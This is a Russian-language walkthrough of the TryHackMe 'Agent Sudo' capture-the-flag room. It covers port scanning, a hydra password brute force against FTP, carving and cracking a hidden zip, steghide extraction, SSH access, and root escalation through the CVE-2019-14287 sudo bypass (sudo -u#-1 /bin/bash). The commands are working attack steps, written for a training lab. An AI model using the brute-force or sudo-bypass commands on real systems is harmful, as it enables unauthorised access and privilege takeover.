
Разбор Sudo Agent CTF (TryHackMe), включающий перечисление, веб-эксплуатацию, стеганографию, SSH и повышение привилегий через CVE-2019-14287.

Разбор Sudo Agent CTF (TryHackMe), включающий перечисление, веб-эксплуатацию, стеганографию, SSH и повышение привилегий через CVE-2019-14287.
| Пункт | Информация |
|---|---|
| Платформа | TryHackMe |
| Система | Linux |
| Сложность | Easy |
| Цель | Веб-эксплуатация, FTP, SSH, стеганография и повышение привилегий |
| CVE | CVE-2019-14287 |
| Статус | Completed ✅ |
Reconhecimento
↓
Enumeração Web
↓
User-Agent
↓
FTP
↓
Análise de arquivos
↓
Esteganografia
↓
Credenciais
↓
SSH
↓
Privilege Escalation
↓
CVE-2019-14287
↓
Root 👑
Nmap
Hydra
User-Agent Switcher
FTP
Binwalk
John the Ripper
7-Zip
Steghide
SSH
Linux Commands
Browser
Первым шагом этапа разведки было выявление открытых портов. Я выполнил сканирование портов с помощью nmap:
nmap -sV -sC sudoagent
21/tcp open ftp
22/tcp open ssh
80/tcp open http
При анализе веб-приложения я столкнулся со следующим сообщением:
Веб-приложение выдало сообщение от Agent R, указывающее, что доступ зависит от определённого User-Agent.
Я изменил User-Agent, используя User-Agent switcher, на REDACTED, и стало возможным увидеть сообщение:
Сообщение раскрыло информацию об одном из агентов и указало, что его пароль слабый.
С найденным пользователем и зная, что его пароль слабый, я выполнил brute force с помощью hydra:
hydra -l user -P /usr/share/wordlists/rockyou.txt ftp://sudoagent/
Hydra успешно вернул пароль пользователя agentC!
[21][ftp] host: sudoagent login: c$$$$ password: REDACTED
Полученные учётные данные позволили получить доступ к службе FTP.
На FTP были найдены текстовые файлы и изображения.
-rw-r--r-- 1 0 0 217 Oct 29 2019 To_agentJ.txt
-rw-r--r-- 1 0 0 33143 Oct 29 2019 cute-alien.jpg
-rw-r--r-- 1 0 0 34842 Oct 29 2019 cutie.png
Я скачал файлы, чтобы проанализировать их.
Я начал анализ с просмотра содержимого текстового файла To_agentJ.txt:
cat To_agentJ.txt
Dear agent J,
All these alien like photos are fake! Agent R stored the real picture inside your directory. Your login password is somehow stored in the fake picture. It shouldn't be a problem for you.
From,
Agent C
Файл представляет собой сообщение, отправленное агентом C агенту J. Мы обнаружили, что в одном из файлов изображений скрыт учётный данные.
С помощью инструмента Binwalk я определил, что файл cutie.png содержал зашифрованный ZIP-архив, содержимым которого был файл To_agentR.txt.
binwalk cutie.png
34562 0x8702 Zip archive data, encrypted compressed size: 98, uncompressed size: 86, name: To_agentR.txt
34820 0x8804 End of Zip archive, footer length: 22
Para прочитать файл, мне нужно извлечь его и узнать его пароль. Я выполнил извлечение файла:
dd if=cutie.png of=arquivo.zip bs=1 skip=34562
Binwalk показал, что ZIP-файл начинается со смещения 34562. Я использовал это значение, чтобы извлечь данные начиная с этой точки и сгенерировать ZIP-файл отдельно.
А извлечение хеша:
zip2john *.zip > hash.txt
А теперь давайте узнаем пароль с помощью John The Ripper:
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
REDACTED (arquivo.zip/To_agentR.txt)
После распаковки файла я использовал найденный пароль:
cat To_agentR.txt
Agent C,
We need to send the picture to 'QXJlYTUx' as soon as possible!
By,
Agent R
У нас есть код в base64, который нам нужно декодировать
echo "QXJlYTUx" | base64 -d
REDACTED
После получения пароля, использованного в стеганографии, я применил Steghide для извлечения скрытого сообщения из изображения cute-alien.jpg.
steghide extract -sf cute-alien.jpg
Enter passphrase:
wrote extracted data to "message.txt"
Декодированное сообщение было отправлено в файл message.txt
cat message.txt
Hi j$$$$,
Glad you find this message. Your login password is REDACTED!
Don't ask me why the password look cheesy, ask agent R who set this password for you.
Your buddy,
c$$$$
Сообщение содержало имя агента J и его пароль.
Я использовал учётные данные агента J для доступа по SSH. После успешного входа я обнаружил файл с именем user_flag.txt и ещё один файл изображения.
ls
Alien_autospy.jpg user_flag.txt
После получения доступа по SSH я обнаружил файл Alien_autospy.jpg.
Я провёл анализ изображения, а затем использовал методы OSINT для установления происхождения и контекста фотографии.
Благодаря поиску в открытых источниках удалось связать изображение с этим случаем.

Перед попыткой повышения привилегий я проверил sudo-права текущего пользователя:
sudo -l
Matching Defaults entries for j$$$$ on agent-sudo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User j$$$$ may run the following commands on agent-sudo:
(ALL, !root) /bin/bash
Конфигурация, показанная в sudo -l, была уязвима к CVE-2019-14287.
Эта уязвимость позволяет обходить определённые ограничения выполнения sudo, используя специальный UID, например -1, который в уязвимых версиях может интерпретироваться как эквивалент пользователя root.
Удалось повысить привилегии, указав пользователя как -1:
sudo -u#-1 /bin/bash
root@agent-sudo:~#
Команда привела к получению оболочки с привилегиями root.
Воспользовавшись полученными привилегиями, я перешёл в папку root и открыл файл root.txt, где обнаружил две последние флага:
cat root.txt
To Mr.hacker,
Congratulation on rooting this box. This box was designed for TryHackMe. Tips, always update your machine.
Your flag is
REDACTED
By,
REDACTED a.k.a Agent R